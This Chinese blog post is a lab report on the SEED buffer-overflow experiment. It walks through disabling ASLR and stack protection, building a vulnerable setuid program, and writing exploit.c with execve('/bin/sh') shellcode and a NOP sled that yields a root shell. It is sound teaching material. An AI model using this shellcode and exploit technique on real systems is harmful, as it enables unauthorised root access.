软件安全攻防--缓冲区溢出和shellcode
缓冲区溢出漏洞实验报告
实验楼中有seed缓冲区溢出漏洞实验,实验内容与课本中要求的实验基本一致,便利用实验楼提供好的现成实验环境来完成这次的实践内容。
一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
二、实验准备
- 系统用户名shiyanlou
- 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。
1、输入命令安装一些用于编译32位C程序的东西:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2、输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash:
三、实验步骤
3.1 初始设置
Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
Exit



3.2 shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
观察以下代码:
include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次实验的shellcode,就是刚才代码的汇编版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3 漏洞程序
把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码如下:
/ stack.c /
/ This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability /
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(char *str)
{
char buffer[12];
/ The following statement has a buffer overflow problem /
strcpy(buffer, str);
return 1;
}
int main(int argc, char *argv)
{
char str[517];
FILE badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置SET-UID。命令如下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。
3.4 攻击程序
我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。
把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:
/ exploit.c /
/ A program that creates a file containing code for launching shell/
include <stdlib.h>
include <stdio.h>
include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char *argv)
{
char buffer[517];
FILE badfile;
/ Initialize buffer with 0x90 (NOP instruction) /
memset(&buffer, 0x90, 517);
/ You need to fill the buffer with appropriate contents here /
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/ Save the contents to the file "badfile" /
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址,输入命令:
gdb stack
disass main
结果如图:

接下来的操作:
根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)
现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \x14\xd2\xff\xff
然后,编译exploit.c程序:
gcc -m32 -o exploit exploit.c
3.5 攻击结果
先运行攻击程序exploit,再运行漏洞程序stack,观察结果:

可见,通过攻击,获得了root权限!
如果不能攻击成功,提示”段错误“,那么请重新使用gdb反汇编,计算内存地址。
软件安全攻防--缓冲区溢出和shellcode的更多相关文章
- 软件安全----警惕缓冲区溢出(C中那些不安全的库函数)
原文链接:https://blog.csdn.net/yang_yulei/article/details/45314177 链接:http://www.360doc.com/content/11/0 ...
- 缓冲区溢出基础实践(一)——shellcode 与 ret2libc
最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...
- 2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验
seed缓冲区溢出实验 有漏洞的程序: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our tas ...
- 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!
零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...
- 缓冲区溢出分析第05课:编写通用的ShellCode
前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...
- 缓冲区溢出分析第04课:ShellCode的编写
前言 ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理.那么下面我们就来编写S ...
- 缓冲区溢出利用与ShellCode编写
一.实验目的 熟悉编写shellCode的流程 掌握缓冲区溢出的利用 二.实验环境 系统环境:Windows环境 软件环境:C++ ,缓冲区溢出文件链接 三.实验原理 要实施一次有效的缓冲区溢出攻击, ...
- 缓冲区溢出利用——捕获eip的傻瓜式指南
[译文] 摘要:为一个简单的有漏洞程序写一个简单的缓冲区溢出EXP,聚焦于遇到的问题和关键性的教训,提供详细而彻底的描述 内容表:1. I pity the fool, who can't smash ...
- 使用Linux进行缓冲区溢出实验的配置记录
在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...
随机推荐
- ajax 事件使用
error: function (XMLHttpRequest, textStatus, errorThrown) { alert(XMLHttpRequest.status); alert(XMLH ...
- jQuery动画二级下拉菜单
在线演示 本地下载
- 20145235李涛《网络对抗》逆向及Bof基础
上学期实验楼上做过这个实验 直接修改程序机器指令,改变程序执行流程 首先进行反汇编 我们所要修改的是,程序从foo返回,本来要返回到80484ba,而我们要把80484ba修改为getshell的 ...
- Oracle大总结
maven的常见两个指令说明 mvn install 是将你打好的jar包安装到你的本地库中,一般没有设置过是在 用户目录下的 .m2\下面.mvn package 只是将你的代码打包到输出目录,一般 ...
- truncate delete 与 drop的区别
一张表几亿条数据.根据task_id删除几千万. delete删除后查询,发现查询速度还是没有变快.explain查看 rows并没有发生变化.查询速度肯定也不会变化.原因? truncate del ...
- Gym - 101503I 利用到图论的构造
比赛的时候没有注意到 给出的up矩阵 能使我们随便选一列 确定这一列的rank 这样我们得出每一行列的rank 进行构图 大->小 然后从大到小放 当前放的点 和他有因果关系并且比他大的点必须已 ...
- Hibernate缓存何时使用和如何使用
http://developer.51cto.com/art/201202/315922.htm 1. 关于hibernate缓存的问题: 1.1. 基本的缓存原理 Hibernate缓存分为二级, ...
- 拖拽窗口的实现-JQuery实现;
主要是距离的掌握 如图,原始位置和当前位置. 对于当前位置:想要求得left值b',需要b'=a'-c; 其中,a’= ev.pageX;就是指针当前距离文档左边的距离: 同时,可以发现c在拖拽过程中 ...
- thinkphp接收阿里淘宝客数据
坑在于淘宝客api返回的数据对象是SimpleXMLElement Object类型,不转为php的json array类型数据直接扔到thinkphp循环输出中会达不到要的效果,奇奇怪怪的数组,一度 ...
- 使用Entity Framework时遇到的各种问题总结
在这里记录一下之前使用Entity Framework(4.3.1版本)遇到的问题. 更新没有设置主键的表 在默认情况下,EF不能对一个没有主键的表进行更新.插入和删除的动作.用xml方式查看edmx ...